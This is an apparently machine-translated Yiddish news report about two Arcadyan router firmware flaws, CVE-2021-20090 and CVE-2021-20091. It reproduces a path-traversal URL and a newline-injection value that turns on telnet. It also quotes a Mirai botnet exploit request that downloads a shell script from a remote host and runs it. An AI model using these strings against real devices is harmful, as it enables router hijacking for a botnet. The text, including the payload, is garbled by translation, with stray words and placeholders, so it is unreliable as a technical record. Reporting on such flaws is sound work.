ื ืืึทืกืืื ืืึทืคืึทืื ืืื ืจืขืงืึธืจืืขื ืืืืฃ ืื ื ืขืฅ ืงืขืื ืืืื ืจืึธืืืขืจืก ืืืขืืขื ืก ืคืืจืืืืึทืจืข ื ืืฆื ืึท ืืืืคึผ ืกืขืจืืืขืจ ืืืคึผืืึทืืขื ืืืืฉืึทื ืคืื ืื ืึทืจืงืึทืืืึทื ืคืืจืืข. ืฆื ืืึทืงืืืขื ืงืึธื ืืจืึธื ืืืืขืจ ืืขืืืืกืขืก, ืึท ืงืึธืืืื ืึทืฆืืข ืคืื โโโโืฆืืืื ืืืึทืื ืขืจืึทืืืืืืื ืืื ืืขื ืืฆื ืืืึธืก ืึทืืึทืื ืืืืึทื ืืืจืืคืืจืื ื ืคืื ืึทืจืืืืจืึทืจืืฉ ืงืึธื ืืื ืืืึธืจืฆื ืจืขืื. ืืขืจ ืคึผืจืึธืืืขื ืึทืคืขืงืฅ ืึท ืคืขืจืื ืืจืืื ืงืืื ืคืื ADSL ืจืึธืืืขืจืก ืคืื Arcadyan, ASUS ืืื Buffalo, ืืื ืืขืืื ื ืืื ืืขืืืืกืขืก ืกืึทืคึผืืืื ืืื ืืขืจ ืื ืืขืขืืื ืข ืืจืึทื ืื (ืื ืคึผืจืึธืืืขื ืืื ืืืฉืืขืืืงื ืืื Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone ืืื ืื ืืขืจืข ืืขืืขืงืึธื ืึธืคึผืขืจืืืืขืจื. ืขืก ืืื ืืืืขืจืงื ืึทื ืื ืคึผืจืึธืืืขื ืืื ืืขืืืขื ืคืึธืจืฉืืขืื ืืื ืึทืจืงืึทืืืึทื ืคืืจืืืืึทืจืข ืคึฟืึทืจ ืืขืจ ืืื 10 ืืึธืจ ืืื ืืขืฉืึทืก ืืขื ืืึธื ืืื ืืขืจืืื ืฆื ืืืืืจืืื ืฆื ืืืึท ืืื ืืกืืขืจ 20 ืืืื ืืึธืืขืืก ืคืื 17 ืคืึทืจืฉืืืขื ืข ืืึทื ืืึทืคืึทืงืืฉืขืจืขืจื.
ืืขืจ ืขืจืฉืืขืจ ืืืึทืื ืขืจืึทืืืืืื, CVE-2021-20090, ืืืื ืขืก ืืขืืืขื ืฆื ืึทืงืกืขืก ืงืืื ืืืขื ืฆืืืื ื ืฉืจืืคื ืึธื ืึธืืขื ืืึทืงืืืฉืึทื. ืื ืขืกืึทื ืก ืคืื ืื ืืืึทืื ืขืจืึทืืืืืื ืืื ืึทื ืืื ืื ืืืขื ืฆืืืื ื, ืขืืืขืืข ืืืจืขืงืืขืจืื ืืืจื ืืืึธืก ืืืืืขืจ, CSS ืืขืงืขืก ืืื ืืืฉืึทืืืึทืกืงืจืืคึผื ืกืงืจืืคึผืก ืืขื ืขื ืืขืฉืืงื ืืขื ืขื ืฆืืืจืืืืขื ืึธื ืึธืืขื ืืึทืงืืืฉืึทื. ืืื ืืขื ืคืึทื, ืืืจืขืงืืขืจืื ืคึฟืึทืจ ืืืึธืก ืึทืงืกืขืก ืึธื ืึธืืขื ืืึทืงืืืฉืึทื ืืื ืขืจืืืืื ืืขื ืขื ืึธืคึผืืขืฉืืขืื ืืื ืื ืขืจืฉื ืืึทืกืงืข. ืกืคึผืขืฆืืคืืฆืืจื "../" ืืืชืืืช ืืื ืคึผืึทืืก ืฆื ืืืื ืฆื ืื ืคืึธืืขืจ ืืืขืืืืืึทืืขืจ ืืื ืืคืืขืฉืืขืื ืืืจื ืื ืคืืจืืืืึทืจืข, ืึธืืขืจ ื ืืฆื ืื "..% 2f" ืงืึธืืืื ืึทืฆืืข ืืื ืกืงืืคึผื. ืืืื, ืขืก ืืื ืืขืืืขื ืฆื ืขืคืขื ืขื ืคึผืจืึธืืขืงืืขื ืืืขืืขืจ ืืืขื ืฉืืงื ืจืืงืืืขืก ืืื "http://192.168.1.1/images/..%2findex.htm".
ืื ืฆืืืืืืข ืืืึทืื ืขืจืึทืืืืืื, CVE-2021-20091, ืึทืืึทืื ืึทื ืึธืืขื ืืึทืงืืืืึทื ืืึทื ืืฆืขืจ ืฆื ืืึทืื ืขื ืืขืจืื ืืขื ืฆื ืื ืกืืกืืขื ืกืขืืืื ืืก ืคืื ืื ืืืื ืืืจื ืฉืืงื ืกืคึผืขืฆืืขื ืคืึธืจืืึทืืืขื ืคึผืึทืจืึทืืขืืขืจืก ืฆื ืื application_abstract.cgi ืฉืจืืคื, ืืืึธืก ืงืขื ื ืืฉื ืงืึธื ืืจืึธืืืจื ืื ืืืึทืืืึทื ืคืื ืึท ื ืืึท-ืืื ืข ืืึทืจืึทืงืืขืจ ืืื ืื ืคึผืึทืจืึทืืขืืขืจืก. . ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืขื ืคึผืขืจืคืึธืจืืื ื ืึท ืคึผืื ื ืึธืคึผืขืจืึทืฆืืข, ืึท ืึทืืึทืงืขืจ ืงืขื ืขื ืกืคึผืขืฆืืคืืฆืืจื ืื ืืืขืจื "192.168.1.2% 0AARC_SYS_TelnetdEnable = 1" ืืื ืืขื ืคืขืื ืืื ืื IP ืึทืืจืขืก ืืืึธืก ืืื ืึธืคึผืืขืฉืืขืื, ืืื ืื ืฉืจืืคื, ืืืขื ืงืจืืืืืื ื ืื ืกืขืืืื ืืก ืืขืงืข /tmp/etc/config/ .glbcfg, ืืืขื ืฉืจืืึทืื ืื ืฉืืจื "AARC_SYS_TelnetdEnable=1" ืืื ืขืก ", ืืืึธืก ืึทืงืืึทืืืืืฅ ืื ืืขืื ืขืื ืกืขืจืืืขืจ, ืืืึธืก ืืื ืึทื ืจืืกืืจืืงืืื ืืึทืคึฟืขืื ืฉืึธื ืึทืงืกืขืก ืืื ืืืึธืจืฆื ืจืขืื. ืกืืืืืึทืจืื, ืืืจื ืืึทืฉืืขืืืงื ืื AARC_SYS ืคึผืึทืจืึทืืขืืขืจ, ืืืจ ืงืขื ืขื ืืืกืคืืจื ืงืืื ืงืึธื ืืืืฃ ืื ืกืืกืืขื. ืืขืจ ืขืจืฉืืขืจ ืืืึทืื ืขืจืึทืืืืืื ืืืื ืขืก ืืขืืืขื ืฆื ืืืืคื ืึท ืคึผืจืึธืืืขืืึทืืืง ืฉืจืืคื ืึธื ืึธืืขื ืืึทืงืืืฉืึทื ืืืจื ืึทืงืกืขืก ืขืก ืืื "/images/..%2fapply_abstract.cgi".
ืฆื ืืืืืจืข ืืืึทืื ืขืจืึทืืืืืืื, ืึท ืึทืืึทืงืขืจ ืืืื ืงืขื ืขื ืฆื ืฉืืงื ืึท ืืงืฉื ืฆื ืื ื ืขืฅ ืคึผืึธืจื ืืืืฃ ืืืึธืก ืื ืืืขื ืฆืืืื ื ืืื ืคืืืกื ืืืง. ืืืื ืืฉืคืื ืืืื ืื ืืื ืึทืืืง ืคืื ืื ืคืึทืจืฉืคึผืจืืืื ืคืื ืื ืืึทืคืึทืื, ืคืืืข ืึธืคึผืขืจืืืืขืจื ืืึธืื ืึทืงืกืขืก ืืืืฃ ืืืืขืจ ืืขืืืืกืขืก ืคึฟืื ืื ืคืื ืืจืืืกื ืืืง ื ืขืฅ ืฆื ืคืึทืจืคึผืึธืฉืขืืขืจื ืื ืืืึทืื ืึธืกืืก ืคืื ืคึผืจืึธืืืขืืก ืืืจื ืื ืฉืืืฆื ืืื ืกื. ืืืื ืึทืงืกืขืก ืฆื ืื ืฆืืืื ื ืืื ืืืืืืขื ืืืืื ืฆื ืื ืื ืขืจืืขื ื ืขืฅ, ืึท ืืึทืคืึทืื ืงืขื ืขื ืืืื ืืืจืืืขืงืึธืื ืคึฟืื ืึท ืคืื ืืจืืืกื ืืืง ื ืขืฅ ืืื ืื "ืื ืก ืจืืืื ืืื ื" ืืขืื ืืง. ืืืึทืื ืขืจืึทืืืืืืื ืืขื ืขื ืฉืืื ืึทืงืืืืืื ืืขื ืืฆื ืฆื ืคืึทืจืืื ืื ืจืึธืืืขืจืก ืฆื ืื Mirai botnet: POST /images/..%2fapply_abstract.cgi ืืืืคึผ/1.1 ืงืึทื ืขืงืฉืึทื: ื ืึธืขื ื ืืึทื ืืฆืขืจ-ืึทืืขื ื: ืืึทืจืง action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_ping_212.192.241.7.ipaddress=0. 1%0A ARC_SYS_TelnetdEnable=212.192.241.72&%212.192.241.72AARC_SYS_=cd+/tmp; wget+http://777/lolol.sh; ืงืขืจื+-ืึธ+ืืืืคึผ://0/lolol.sh; chmod+4+lolol.sh; sh+lolol.sh&ARC_ping_status=XNUMX&TMP_Ping_Type=XNUMX
ืืงืืจ: opennet.ru